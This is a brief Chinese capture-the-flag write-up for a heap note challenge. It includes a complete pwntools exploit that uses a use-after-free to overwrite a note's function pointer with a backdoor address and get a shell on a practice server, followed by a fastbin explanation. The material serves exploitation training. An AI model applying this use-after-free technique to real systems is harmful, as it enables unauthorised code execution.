国际惯例
IDA
主函数没啥特别的
有后门
add
del
show
思路
首先我们创建两个chunk,再free掉,之后add一个8字节的chunk,并添加后门,在通过show功能调用后门函数。
WP
from pwn import*
r=remote('node3.buuoj.cn',26891)
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)
def free(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))
def show(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))
shell_addr=0x8048945
add(48,'aaaa')
add(48,'bbbb')
free(0)
free(1)
add(8,p32(shell_addr))
show(0)
r.interactive()
总结
首先我们创建两个fast_bin的堆块,之后free掉0、1,由于fast_bin是先进后出的进制,这样chunk0就在最下面,之后我们再申请一个8字节的chunk程序会首先把之前free掉的chunk1进行创建,之后的chunk0我们写入后很函数在通过打印调用chunk0的后门函数。(其中的chunk0、1是程序自己创建的chunk)。
没有free的
free之后
创建8字节的chunk之后
之后show chunk0,会调用后门函数。